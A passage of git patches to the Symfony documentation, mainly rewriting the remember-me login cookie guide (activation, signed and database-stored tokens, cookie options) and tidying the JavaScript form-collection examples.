-``lifetime`` (default value: ``31536000``)
-    The number of seconds during which the user will remain logged in. By default
-    users are logged in for one year.
+After this, the remember me cookie will be created upon successful
+authentication. For some pages/actions, you can
+:ref:`force a user to fully authenticate <security-remember-me-authorization>`
+(i.e. not through a remember me cookie) for better security.
 
-``path`` (default value: ``/``)
-    The path where the cookie associated with this feature is used. By default
-    the cookie will be applied to the entire website but you can restrict to a
-    specific section (e.g. ``/forum``, ``/admin``).
+.. note::
 
-``domain`` (default value: ``null``)
-    The domain where the cookie associated with this feature is used. By default
-    cookies use the current domain obtained from ``$_SERVER``.
+    The ``remember_me`` setting contains many settings to configure the
+    cookie created by this feature. See `Customizing the Remember Me Cookie`_
+    for a full description of these settings.
 
-``secure`` (default value: ``false``)
-    If ``true``, the cookie associated with this feature is sent to the user
-    through an HTTPS secure connection.
+.. _security-remember-me-activate:
 
-``httponly`` (default value: ``true``)
-    If ``true``, the cookie associated with this feature is accessible only
-    through the HTTP protocol. This means that the cookie won't be accessible
-    by scripting languages, such as JavaScript.
+Activating the Remember Me System
+---------------------------------
 
-``samesite`` (default value: ``null``)
-    If set to ``strict``, the cookie associated with this feature will not
-    be sent along with cross-site requests, even when following a regular link.
+Using the remember me cookie is not always appropriate (e.g. you should not
+use it on a shared PC). This is why by default, Symfony requires your users
+to opt-in to the remember me system via a request parameter.
 
-``remember_me_parameter`` (default value: ``_remember_me``)
-    The name of the form field checked to decide if the "Remember Me" feature
-    should be enabled or not. Keep reading this article to know how to enable
-    this feature conditionally.
+This request parameter is often set via a checkbox in the login form. This
+checkbox must have a name of ``_remember_me``:
 
-``always_remember_me`` (default value: ``false``)
-    If ``true``, the value of the ``remember_me_parameter`` is ignored and the
-    "Remember Me" feature is always enabled, regardless of the desire of the
-    end user.
+.. code-block:: html+twig
 
-``token_provider`` (default value: ``null``)
-    Defines the service id of a token provider to use. If you want to store tokens
-    in the database, see :ref:`remember-me-token-in-database`.
+    {# templates/security/login.html.twig #}
+    <form method="post">
+        {# ... your form fields #}
 
-``service`` (default value: ``null``)
-    Defines the ID of the service used to handle the Remember Me feature. It's
-    useful if you need to overwrite the current behavior.
+        <label>
+            <input type="checkbox" name="_remember_me" checked/>
+            Keep me logged in
+        </label>
 
-    .. versionadded:: 5.1
+        {# ... #}
+    </form>
 
-        The ``service`` option was introduced in Symfony 5.1.
+.. note::
 
-Forcing the User to Opt-Out of the Remember Me Feature
-------------------------------------------------------
+    Optionally, you can configure a custom name for this checkbox using the
+    ``remember_me_parameter`` setting under the ``remember_me`` section.
 
-It's a good idea to provide the user with the option to use or not use the
-remember me functionality, as it will not always be appropriate. The usual
-way of doing this is to add a checkbox to the login form. By giving the checkbox
-the name ``_remember_me`` (or the name you configured using ``remember_me_parameter``),
-the cookie will automatically be set when the checkbox is checked and the user
-successfully logs in. So, your specific login form might ultimately look like
-this:
+Always activating Remember Me
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-.. code-block:: html+twig
+Sometimes, you may wish to always activate the remember me system and not
+allow users to opt-out. In these cases, you can use the
+``always_remember_me`` setting:
 
-    {# templates/security/login.html.twig #}
-    <form method="post">
-        {# ... your form fields #}
+.. configuration-block::
 
-        <input type="checkbox" id="remember_me" name="_remember_me" checked/>
-        <label for="remember_me">Keep me logged in</label>
+    .. code-block:: yaml
 
-        {# ... #}
-    </form>
+        # config/packages/security.yaml
+        security:
+            # ...
+
+            firewalls:
+                main:
+                    # ...
+                    remember_me:
+                        secret: '%kernel.secret%'
+                        # ...
+                        always_remember_me: true
+
+    .. code-block:: xml
+
+        <!-- config/packages/security.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <srv:container xmlns="http://symfony.com/schema/dic/security"
+            xmlns:srv="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/security
+                https://symfony.com/schema/dic/security/security-1.0.xsd">
 
-The user will then automatically be logged in on subsequent visits while
-the cookie remains valid.
+            <config>
+                <!-- ... -->
 
-Add the RememberMeBadge() to the Passport
------------------------------------------
+                <firewall name="main">
+                    <!-- ... -->
 
-Beware that in the new Authenitaction System you have to set the RememberMeBadge()
-in the authenticate method of the authenticator, like::
+                    <remember-me
+                        secret="%kernel.secret%"
+                        always-remember-me="true"
+                    />
+                </firewall>
+            </config>
+        </srv:container>
 
-     public function authenticate(Request $request): PassportInterface
-        {
-            $email = $request->request->get('email', '');
+    .. code-block:: php
 
-            $request->getSession()->set(Security::LAST_USERNAME, $email);
+        // config/packages/security.php
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
+            // ...
+            $security->firewall('main')
+                // ...
+                ->rememberMe()
+                    ->secret('%kernel.secret%')
+                    // ...
+                    ->alwaysRememberMe(true)
+            ;
+        };
+
+Now, no request parameter is checked and each successful authentication
+will produce a remember me cookie.
+
+.. _security-remember-me-authenticator:
+
+Add Remember Me Support to the Authenticator
+--------------------------------------------
+
+Not all authentication methods support remember me (e.g. HTTP Basic
+authentication doesn't have support). An authenticator indicates support
+using a ``RememberMeBadge`` on the :ref:`security passport <security-passport>`.
+
+After logging in, you can use the security profiler to see if this badge is
+present:
+
+.. image:: /_images/security/profiler-badges.png
+
+Without this badge, remember me will be not be activated (regardless of all
+other settings).
+
+Add Remember Me Support to Custom Authenticators
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+When you use a custom authenticator, you must add a ``RememberMeBadge``
+manually::
+
+    // src/Service/LoginAuthenticator.php
+    namespace App\Service;
+
+    // ...
+    use Symfony\Component\Security\Http\Authenticator\Passport\Badge\RememberMeBadge;
+    use Symfony\Component\Security\Http\Authenticator\Passport\Badge\UserBadge;
+    use Symfony\Component\Security\Http\Authenticator\Passport\Passport;
+
+    class LoginAuthenticator extends AbstractAuthenticator
+    {
+        public function authenticate(Request $request): Passport
+        {
+            // ...
 
             return new Passport(
-                new UserBadge($email),
-                new PasswordCredentials($request->request->get('password', '')),
+                new UserBadge(...),
+                new PasswordCredentials(...),
                 [
-                    new CsrfTokenBadge('authenticate', $request->get('_csrf_token')),
                     new RememberMeBadge(),
                 ]
             );
         }
+    }
 
-Forcing the User to Re-Authenticate before Accessing certain Resources
-----------------------------------------------------------------------
+.. _security-remember-me-storage:
 
-When the user returns to your site, they are authenticated automatically based
-on the information stored in the remember me cookie. This allows the user
-to access protected resources as if the user had actually authenticated upon
-visiting the site.
+Customize how Remember Me Tokens are Stored
+-------------------------------------------
 
-In some cases, however, you may want to force the user to actually re-authenticate
-before accessing certain resources. For example, you might not allow "remember me"
-users to change their password. You can do this by leveraging a few special
-"attributes"::
+Remember me cookies contain a token that is used to verify the user's
+identity. As these tokens are long-lived, it is important to take
+precautions to allow invalidating any generated tokens.
 
-    // src/Controller/AccountController.php
-    // ...
+Symfony provides two ways to validate remember me tokens:
 
-    public function accountInfo(): Response
-    {
-        // allow any authenticated user - we don't care if they just
-        // logged in, or are logged in via a remember me cookie
-        $this->denyAccessUnlessGranted('IS_AUTHENTICATED_REMEMBERED');
+Signature based tokens
+    By default, the remember me cookie contains a signature based on
+    properties of the user. If the properties change, the signature changes
+    and already generated tokens are no longer considered valid. See
+    :ref:`security-remember-me-signature` for more information.
 
-        // ...
-    }
+Persistent tokens
+    Persistent tokens store any generated token (e.g. in a database). This
+    allows you to invalidate tokens by changing the rows in the database.
+    See :ref:`security-remember-me-persistent` for more information.
 
-    public function resetPassword(): Response
-    {
-        // require the user to log in during *this* session
-        // if they were only logged in via a remember me cookie, they
-        // will be redirected to the login page
-        $this->denyAccessUnlessGranted('IS_AUTHENTICATED_FULLY');
+.. note::
 
-        // ...
-    }
+    You can also write your own custom remember me handler by creating a
+    class that extends
+    :class:`Symfony\\Component\\Security\\Http\\RememberMe\\AbstractRememberMeHandler`
+    (or implements :class:`Symfony\\Component\\Security\\Http\\RememberMe\\RememberMeHandlerInterface`).
+    You can then configure this custom handler by configuring the service
+    ID in the ``service`` option under ``remember_me``.
 
-.. tip::
+    .. versionadded:: 5.1
 
-    There is also a ``IS_REMEMBERED`` attribute that grants access *only* when the
-    user is authenticated via the remember me mechanism.
+        The ``service`` option was introduced in Symfony 5.1.
 
-.. versionadded:: 5.1
 
-    The ``IS_REMEMBERED`` attribute was introduced in Symfony 5.1.
+.. _security-remember-me-signature:
 
-.. _remember-me-token-in-database:
+Using Signed Remember Me Tokens
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-Storing Remember Me Tokens in the Database
-------------------------------------------
+By default, remember me cookies contain a *hash* that is used to validate
+the cookie. This hash is computed based on configured
+signature properties.
 
-The token contents, including the hashed version of the user password, are
-stored by default in cookies. If you prefer to store them in a database, use the
-:class:`Symfony\\Bridge\\Doctrine\\Security\\RememberMe\\DoctrineTokenProvider`
-class provided by the Doctrine Bridge.
+These properties are always included in the hash:
 
-First, you need to register ``DoctrineTokenProvider`` as a service:
+* The user identifier (returned by
+  :method:`Symfony\\Component\\Security\\Core\\User\\UserInterface::getUserIdentifier`);
+* The expiration timestamp.
+
+On top of these, you can configure custom properties using the
+``signature_properties`` setting (defaults to ``password``). The properties
+are fetched from the user object using the
+:doc:`PropertyAccess component </components/property_access>` (e.g. using
+``getUpdatedAt()`` or a public ``$updatedAt`` property when using
+``updatedAt``).
 
 .. configuration-block::
 
     .. code-block:: yaml
 
-        # config/services.yaml
-        services:
+        # config/packages/security.yaml
+        security:
             # ...
 
-            Symfony\Bridge\Doctrine\Security\RememberMe\DoctrineTokenProvider: ~
+            firewalls:
+                main:
+                    # ...
+                    remember_me:
+                        secret: '%kernel.secret%'
+                        # ...
+                        signature_properties: ['password', 'updatedAt']
 
     .. code-block:: xml
 
-        <!-- config/services.xml -->
+        <!-- config/packages/security.xml -->
         <?xml version="1.0" encoding="UTF-8" ?>
-        <container xmlns="http://symfony.com/schema/dic/services"
+        <srv:container xmlns="http://symfony.com/schema/dic/security"
+            xmlns:srv="http://symfony.com/schema/dic/services"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services https://symfony.com/schema/dic/services/services-1.0.xsd">
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/security
+                https://symfony.com/schema/dic/security/security-1.0.xsd">
+
+            <config>
+                <!-- ... -->
+
+                <firewall name="main">
+                    <!-- ... -->
 
-            <services>
-                <service id="Symfony\Bridge\Doctrine\Security\RememberMe\DoctrineTokenProvider"/>
-            </services>
-        </container>
+                    <remember-me secret="%kernel.secret%">
+                        <signature-property>password</signature-property>
+                        <signature-property>updatedAt</signature-property>
+                    </remember-me>
+                </firewall>
+            </config>
+        </srv:container>
 
     .. code-block:: php
 
-        // config/services.php
-        use Symfony\Bridge\Doctrine\Security\RememberMe\DoctrineTokenProvider;
+        // config/packages/security.php
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
+            // ...
+            $security->firewall('main')
+                // ...
+                ->rememberMe()
+                    ->secret('%kernel.secret%')
+                    // ...
+                    ->signatureProperties(['password', 'updatedAt'])
+            ;
+        };
+
+In this example, the remember me cookie will no longer be considered valid
+if the ``updatedAt``, password or user identifier for this user changes.
+
+.. tip::
+
+    Signature properties allow for some advanced usages without having to
+    set-up storage for all remember me tokens. For instance, you can add a
+    ``forceReloginAt`` field to your user and to the signature properties.
+    This way, you can invalidate all remember me tokens from a user by
+    changing this timestamp.
 
-        $container->register(DoctrineTokenProvider::class);
+.. _security-remember-me-persistent:
 
-Then you need to create a table with the following structure in your database
-so ``DoctrineTokenProvider`` can store the tokens:
+Storing Remember Me Tokens in the Database
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-.. code-block:: sql
+As remember me tokens are often long-lived, you might prefer to save them in
+a database to have full control over them. Symfony comes with support for
+persistent remember me tokens.
 
-    CREATE TABLE `rememberme_token` (
-        `series`   char(88)     UNIQUE PRIMARY KEY NOT NULL,
-        `value`    varchar(88)  NOT NULL,
-        `lastUsed` datetime     NOT NULL,
-        `class`    varchar(100) NOT NULL,
-        `username` varchar(200) NOT NULL
-    );
+This implementation uses a *remember me token provider* for storing and
+retrieving the tokens from the database. The DoctrineBridge provides a
+token provider using Doctrine.
 
-.. note::
+You can enable the doctrine token provider using the ``doctrine`` setting:
+
+.. configuration-block::
 
-    If you use DoctrineMigrationsBundle to manage your database migrations, you
-    will need to tell Doctrine to ignore this new ``rememberme_token`` table:
+    .. code-block:: yaml
+
+        # config/packages/security.yaml
+        security:
+            # ...
+
+            firewalls:
+                main:
+                    # ...
+                    remember_me:
+                        secret: '%kernel.secret%'
+                        # ...
+                        token_provider:
+                            doctrine: true
 
-    .. configuration-block::
+    .. code-block:: xml
 
-        .. code-block:: yaml
+        <!-- config/packages/security.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <srv:container xmlns="http://symfony.com/schema/dic/security"
+            xmlns:srv="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/security
+                https://symfony.com/schema/dic/security/security-1.0.xsd">
 
-            # config/packages/doctrine.yaml
-            doctrine:
-                dbal:
-                    schema_filter: ~^(?!rememberme_token)~
+            <config>
+                <!-- ... -->
 
-        .. code-block:: xml
+                <firewall name="main">
+                    <!-- ... -->
 
-            <!-- config/packages/doctrine.xml -->
-            <doctrine:dbal schema-filter="~^(?!rememberme_token)~"/>
+                    <remember-me secret="%kernel.secret%">
+                        <token-provider doctrine="true"/>
+                    </remember-me>
+                </firewall>
+            </config>
+        </srv:container>
 
-        .. code-block:: php
+    .. code-block:: php
 
-            // config/packages/doctrine.php
-            use Symfony\Config\DoctrineConfig;
+        // config/packages/security.php
+        use Symfony\Config\SecurityConfig;
 
-            return static function (DoctrineConfig $doctrine) {
-                $dbalDefault = $doctrine->dbal()->connection('default');
+        return static function (SecurityConfig $security) {
+            // ...
+            $security->firewall('main')
                 // ...
-                $dbalDefault->schemaFilter('~^(?!rememberme_token)~');
-            };
+                ->rememberMe()
+                    ->secret('%kernel.secret%')
+                    // ...
+                    ->tokenProvider([
+                        'doctrine' => true,
+                    ])
+            ;
+        };
+
+This also instructs Doctrine to create a table for the remember me tokens.
+If you use the DoctrineMigrationsBundle, you can create a new migration for
+this:
+
+.. code-block:: terminal
+
+    $ php bin/console doctrine:migrations:diff
+
+    # and optionally run the migrations locally
+    $ php bin/console doctrine:migrations:migrate
+
+Otherwise, you can use the ``doctrine:schema:update`` command:
+
+.. code-block:: terminal
+
+    # get the required SQL code
+    $ php bin/console doctrine:schema:update --dump-sql
+
+    # run the SQL in your DB client, or let the command run it for you
+    $ php bin/console doctrine:schema:update --force
+
+Implementing a Custom Token Provider
+....................................
+
+You can also create a custom token provider by creating a class that
+implements :class:`Symfony\\Component\\Security\\Core\\Authentication\\RememberMe\\TokenProviderInterface`.
 
-Finally, set the ``token_provider`` option of the ``remember_me`` config to the
-service you created before:
+Then, configure the service ID of your custom token provider as ``service``:
 
 .. configuration-block::
 
@@ -334,7 +498,8 @@ service you created before:
                     # ...
                     remember_me:
                         # ...
-                        token_provider: 'Symfony\Bridge\Doctrine\Security\RememberMe\DoctrineTokenProvider'
+                        token_provider:
+                            service: App\Security\RememberMe\CustomTokenProvider
 
     .. code-block:: xml
 
@@ -354,9 +519,9 @@ service you created before:
                 <firewall name="main">
                     <!-- ... -->
 
-                    <remember-me
-                        token-provider="Symfony\Bridge\Doctrine\Security\RememberMe\DoctrineTokenProvider"
-                        />
+                    <remember-me>
+                        <token-provider service="App\Security\RememberMe\CustomTokenProvider"/>
+                    </remember-me>
                 </firewall>
             </config>
         </srv:container>
@@ -364,7 +529,7 @@ service you created before:
     .. code-block:: php
 
         // config/packages/security.php
-        use Symfony\Bridge\Doctrine\Security\RememberMe\DoctrineTokenProvider;
+        use App\Security\RememberMe\CustomTokenProvider;
         use Symfony\Config\SecurityConfig;
 
         return static function (SecurityConfig $security) {
@@ -373,46 +538,95 @@ service you created before:
                 // ...
                 ->rememberMe()
                     // ...
-                    ->tokenProvider(DoctrineTokenProvider::class)
+                    ->tokenProvider([
+                        'service' => CustomTokenProvider::class,
+                    ])
             ;
         };
 
-Activating Remember Me When Using a Custom Authenticator
---------------------------------------------------------
+.. _security-remember-me-authorization:
 
-When you use a :doc:`custom authenticator </security/custom_authenticator>`, you
-must add a ``RememberMeBadge`` to the ``Passport`` for the "Remember Me" function
-to be activated. Without the badge, "Remember Me" will not be active, regardless
-of any other "Remember Me" settings.
+Forcing the User to Re-Authenticate before Accessing certain Resources
+----------------------------------------------------------------------
 
-For example::
+When the user returns to your site, they are authenticated automatically based
+on the information stored in the remember me cookie. This allows the user
+to access protected resources as if the user had actually authenticated upon
+visiting the site.
 
-    // src/Service/LoginAuthenticator.php
-    namespace App\Service;
+In some cases, however, you may want to force the user to actually re-authenticate
+before accessing certain resources. For example, you might not allow "remember me"
+users to change their password. You can do this by leveraging a few special
+"attributes"::
 
+    // src/Controller/AccountController.php
     // ...
-    use Symfony\Component\Security\Http\Authenticator\AbstractAuthenticator;
-    use Symfony\Component\Security\Http\Authenticator\Passport\Badge\CsrfTokenBadge;
-    use Symfony\Component\Security\Http\Authenticator\Passport\Badge\RememberMeBadge;
-    use Symfony\Component\Security\Http\Authenticator\Passport\Badge\UserBadge;
-    use Symfony\Component\Security\Http\Authenticator\Passport\Passport;
-    use Symfony\Component\Security\Http\Authenticator\Passport\PassportInterface;
 
-    class LoginAuthenticator extends AbstractAuthenticator
+    public function accountInfo(): Response
     {
-        public function authenticate(Request $request): PassportInterface
-        {
-            $password = $request->request->get('password');
-            $username = $request->request->get('username');
-            $csrfToken = $request->request->get('csrf_token');
+        // allow any authenticated user - we don't care if they just
+        // logged in, or are logged in via a remember me cookie
+        $this->denyAccessUnlessGranted('IS_AUTHENTICATED_REMEMBERED');
 
-            return new Passport(
-                new UserBadge($username),
-                new PasswordCredentials($password),
-                [
-                    new CsrfTokenBadge('login', $csrfToken),
-                    new RememberMeBadge(),
-                ]
-            );
-        }
+        // ...
+    }
+
+    public function resetPassword(): Response
+    {
+        // require the user to log in during *this* session
+        // if they were only logged in via a remember me cookie, they
+        // will be redirected to the login page
+        $this->denyAccessUnlessGranted('IS_AUTHENTICATED_FULLY');
+
+        // ...
     }
+
+.. tip::
+
+    There is also a ``IS_REMEMBERED`` attribute that grants access *only*
+    when the user is authenticated via the remember me mechanism.
+
+.. versionadded:: 5.1
+
+    The ``IS_REMEMBERED`` attribute was introduced in Symfony 5.1.
+
+Customizing the Remember Me Cookie
+----------------------------------
+
+The ``remember_me`` configuration contains many options to customize the
+cookie created by the system:
+
+``name`` (default value: ``REMEMBERME``)
+    The name of the cookie used to keep the user logged in. If you enable the
+    ``remember_me`` feature in several firewalls of the same application, make sure
+    to choose a different name for the cookie of each firewall. Otherwise, you'll
+    face lots of security related problems.
+
+``lifetime`` (default value: ``31536000`` i.e. 1 year in seconds)
+    The number of seconds after which the cookie will be expired. This
+    defines the maximum time between two visits for the user to remain
+    authenticated.
+
+``path`` (default value: ``/``)
+    The path where the cookie associated with this feature is used. By default
+    the cookie will be applied to the entire website but you can restrict to a
+    specific section (e.g. ``/forum``, ``/admin``).
+
+``domain`` (default value: ``null``)
+    The domain where the cookie associated with this feature is used. By default
+    cookies use the current domain obtained from ``$_SERVER``.
+
+``secure`` (default value: ``false``)
+    If ``true``, the cookie associated with this feature is sent to the user
+    through an HTTPS secure connection.
+
+``httponly`` (default value: ``true``)
+    If ``true``, the cookie associated with this feature is accessible only
+    through the HTTP protocol. This means that the cookie won't be accessible
+    by scripting languages, such as JavaScript.
+
+``samesite`` (default value: ``null``)
+    If set to ``strict``, the cookie associated with this feature will not
+    be sent along with cross-site requests, even when following a regular link.
+
+.. _`5.2 version of this documentation`: https://symfony.com/doc/5.2/security/remember_me.html

From 6f2ef6db89f4948f333ff964f87adf1856c3966f Mon Sep 17 00:00:00 2001
From: Mark Pedron <marktpedron@gmail.com>
Date: Sat, 15 Jan 2022 13:52:50 +0100
Subject: [PATCH 1602/5766] Add missing symfony server reference

Fixes the following diagnostic emitted by `_build/build.php`:
```
Found invalid reference "symfony binary web server" in file
```
"setup/docker"
---
 setup/docker.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/setup/docker.rst b/setup/docker.rst
index bd8eb145af8..d3d51cb781f 100644
--- a/setup/docker.rst
+++ b/setup/docker.rst
@@ -49,7 +49,7 @@ After installing the package, rebuild your containers by running:
 Symfony Binary Web Server and Docker Support
 --------------------------------------------
 
-If you're using the :ref:`symfony binary web server` (e.g. ``symfony server:start``),
+If you're using the :ref:`symfony binary web server <symfony-local-web-server>` (e.g. ``symfony server:start``),
 then it can automatically detect your Docker services and expose them as environment
 variables. See :ref:`symfony-server-docker`.
 

From 33472e5ee415cf67f09a4c27f83fdb3df430cacf Mon Sep 17 00:00:00 2001
From: Andrea Cristaudo <andrea-cristaudo@users.noreply.github.com>
Date: Sat, 15 Jan 2022 11:29:33 +0100
Subject: [PATCH 1603/5766] Remove reference to jQuery from examples code

---
 form/form_collections.rst | 6 ++----
 1 file changed, 2 insertions(+), 4 deletions(-)

diff --git a/form/form_collections.rst b/form/form_collections.rst
index 0ab38902a17..b358a4dfbc0 100644
--- a/form/form_collections.rst
+++ b/form/form_collections.rst
@@ -281,9 +281,7 @@ On the rendered page, the result will look something like this:
     and you need to adjust the following JavaScript accordingly.
 
 Now add some JavaScript to read this attribute and dynamically add new tag forms
-when the user clicks the "Add a tag" link. This example uses `jQuery`_ and
-assumes you have it included somewhere on your page (e.g. using Symfony's
-:doc:`Webpack Encore </frontend>`).
+when the user clicks the "Add a tag" link.
 
 Add a ``<script>`` tag somewhere on your page to include the required
 functionality with JavaScript:
@@ -651,7 +649,7 @@ the relationship between the removed ``Tag`` and ``Task`` object.
     The Symfony community has created some JavaScript packages that provide the
     functionality needed to add, edit and delete elements of the collection.
     Check out the `@a2lix/symfony-collection`_ package for modern browsers and
-    the `symfony-collection`_ package based on jQuery for the rest of browsers.
+    the `symfony-collection`_ package based on `jQuery`_ for the rest of browsers.
 
 .. _`Owning Side and Inverse Side`: https://www.doctrine-project.org/projects/doctrine-orm/en/current/reference/unitofwork-associations.html
 .. _`jQuery`: http://jquery.com/

From f69eb0183b006172b9210a03f1dda302998e3f44 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Mon, 8 Nov 2021 16:04:31 +0100
Subject: [PATCH 1604/5766] Removing outdated jQuery note

---
 form/form_collections.rst | 41 +++++++++++++++++++--------------------
 1 file changed, 20 insertions(+), 21 deletions(-)

diff --git a/form/form_collections.rst b/form/form_collections.rst
index b358a4dfbc0..ca104b80ab4 100644
--- a/form/form_collections.rst
+++ b/form/form_collections.rst
@@ -238,25 +238,26 @@ it will receive an *unknown* number of tags. Otherwise, you'll see a
 
 The ``allow_add`` option also makes a ``prototype`` variable available to you.
 This "prototype" is a little "template" that contains all the HTML needed to
-dynamically create any new "tag" forms with JavaScript. To render the prototype, add
-the following ``data-prototype`` attribute to the existing ``<ul>`` in your template:
+dynamically create any new "tag" forms with JavaScript. Now add the following
+``data-index`` (containing the current "form row" number for the following JavaScript)
+and ``data-prototype`` attribute to the existing ``<ul>`` in your template:
 
 .. code-block:: html+twig
 
     <ul class="tags" data-index="{{ form.tags|length > 0 ? form.tags|last.vars.name + 1 : 0 }}" data-prototype="{{ form_widget(form.tags.vars.prototype)|e('html_attr') }}"></ul>
 
-Now add a button just next to the ``<ul>`` to dynamically add a new tag:
-
-.. code-block:: html+twig
-
-    <button type="button" class="add_item_link" data-collection-holder-class="tags">Add a tag</button>
-
 On the rendered page, the result will look something like this:
 
 .. code-block:: html
 
     <ul class="tags" data-index="0" data-prototype="&lt;div&gt;&lt;label class=&quot; required&quot;&gt;__name__&lt;/label&gt;&lt;div id=&quot;task_tags___name__&quot;&gt;&lt;div&gt;&lt;label for=&quot;task_tags___name___name&quot; class=&quot; required&quot;&gt;Name&lt;/label&gt;&lt;input type=&quot;text&quot; id=&quot;task_tags___name___name&quot; name=&quot;task[tags][__name__][name]&quot; required=&quot;required&quot; maxlength=&quot;255&quot; /&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;">
 
+Now add a button to dynamically add a new tag:
+
+.. code-block:: html+twig
+
+    <button type="button" class="add_item_link" data-collection-holder-class="tags">Add a tag</button>
+
 .. seealso::
 
     If you want to customize the HTML code in the prototype, see
@@ -265,7 +266,7 @@ On the rendered page, the result will look something like this:
 .. tip::
 
     The ``form.tags.vars.prototype`` is a form element that looks and feels just
-    like the individual ``form_widget(tag)`` elements inside your ``for`` loop.
+    like the individual ``form_widget(tag.*)`` elements inside your ``for`` loop.
     This means that you can call ``form_widget()``, ``form_row()`` or ``form_label()``
     on it. You could even choose to render only one of its fields (e.g. the
     ``name`` field):
@@ -303,9 +304,9 @@ you'll replace with a unique, incrementing number (e.g. ``task[tags][3][name]``)
     const addFormToCollection = (e) => {
       const collectionHolder = document.querySelector('.' + e.currentTarget.dataset.collectionHolderClass);
 
-      const item = document.createElement('li');
+      const element = document.createElement('li');
 
-      item.innerHTML = collectionHolder
+      element.innerHTML = collectionHolder
         .dataset
         .prototype
         .replace(
@@ -313,7 +314,7 @@ you'll replace with a unique, incrementing number (e.g. ``task[tags][3][name]``)
           collectionHolder.dataset.index
         );
 
-      collectionHolder.appendChild(item);
+      collectionHolder.appendChild(element);
 
       collectionHolder.dataset.index++;
     };
@@ -540,24 +541,23 @@ First, add a "delete this tag" link to each tag form:
         // ...
 
         // add a delete link to the new form
-        addTagFormDeleteLink(item);
+        addTagFormDeleteLink(element);
     }
 
 The ``addTagFormDeleteLink()`` function will look something like this:
 
 .. code-block:: javascript
 
-    const addTagFormDeleteLink = (tagFormLi) => {
-        const removeFormButton = document.createElement('button')
-        removeFormButton.classList
-        removeFormButton.innerText = 'Delete this tag'
+    const addTagFormDeleteLink = (element) => {
+        const removeFormButton = document.createElement('button');
+        removeFormButton.innerText = 'Delete this tag';
 
-        tagFormLi.append(removeFormButton);
+        element.append(removeFormButton);
 
         removeFormButton.addEventListener('click', (e) => {
-            e.preventDefault()
+            e.preventDefault();
             // remove the li for the tag form
-            tagFormLi.remove();
+            element.remove();
         });
     }
 
@@ -652,7 +652,6 @@ the relationship between the removed ``Tag`` and ``Task`` object.
     the `symfony-collection`_ package based on `jQuery`_ for the rest of browsers.
 
 .. _`Owning Side and Inverse Side`: https://www.doctrine-project.org/projects/doctrine-orm/en/current/reference/unitofwork-associations.html
-.. _`jQuery`: http://jquery.com/
 .. _`JSFiddle`: https://jsfiddle.net/ey8ozh6n/
 .. _`@a2lix/symfony-collection`: https://github.com/a2lix/symfony-collection
 .. _`symfony-collection`: https://github.com/ninsuo/symfony-collection

From 874f2fdcf975cd3de6e06349347f822b8c01fe1d Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Sun, 16 Jan 2022 13:01:46 +0100
Subject: [PATCH 1605/5766] Minor changes

---
 form/form_collections.rst | 52 ++++++++++++++++++++++-----------------
 1 file changed, 30 insertions(+), 22 deletions(-)

diff --git a/form/form_collections.rst b/form/form_collections.rst
index ca104b80ab4..8b34dc700aa 100644
--- a/form/form_collections.rst
+++ b/form/form_collections.rst
@@ -238,19 +238,26 @@ it will receive an *unknown* number of tags. Otherwise, you'll see a
 
 The ``allow_add`` option also makes a ``prototype`` variable available to you.
 This "prototype" is a little "template" that contains all the HTML needed to
-dynamically create any new "tag" forms with JavaScript. Now add the following
-``data-index`` (containing the current "form row" number for the following JavaScript)
-and ``data-prototype`` attribute to the existing ``<ul>`` in your template:
+dynamically create any new "tag" forms with JavaScript. To render the prototype, add
+the following ``data-prototype`` attribute to the existing ``<ul>`` in your
+template:
 
 .. code-block:: html+twig
 
-    <ul class="tags" data-index="{{ form.tags|length > 0 ? form.tags|last.vars.name + 1 : 0 }}" data-prototype="{{ form_widget(form.tags.vars.prototype)|e('html_attr') }}"></ul>
+    {# the data-index attribute is required for the JavaScript code below #}
+    <ul class="tags"
+        data-index="{{ form.tags|length > 0 ? form.tags|last.vars.name + 1 : 0 }}"
+        data-prototype="{{ form_widget(form.tags.vars.prototype)|e('html_attr') }}"
+    ></ul>
 
 On the rendered page, the result will look something like this:
 
 .. code-block:: html
 
-    <ul class="tags" data-index="0" data-prototype="&lt;div&gt;&lt;label class=&quot; required&quot;&gt;__name__&lt;/label&gt;&lt;div id=&quot;task_tags___name__&quot;&gt;&lt;div&gt;&lt;label for=&quot;task_tags___name___name&quot; class=&quot; required&quot;&gt;Name&lt;/label&gt;&lt;input type=&quot;text&quot; id=&quot;task_tags___name___name&quot; name=&quot;task[tags][__name__][name]&quot; required=&quot;required&quot; maxlength=&quot;255&quot; /&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;">
+    <ul class="tags"
+        data-index="0"
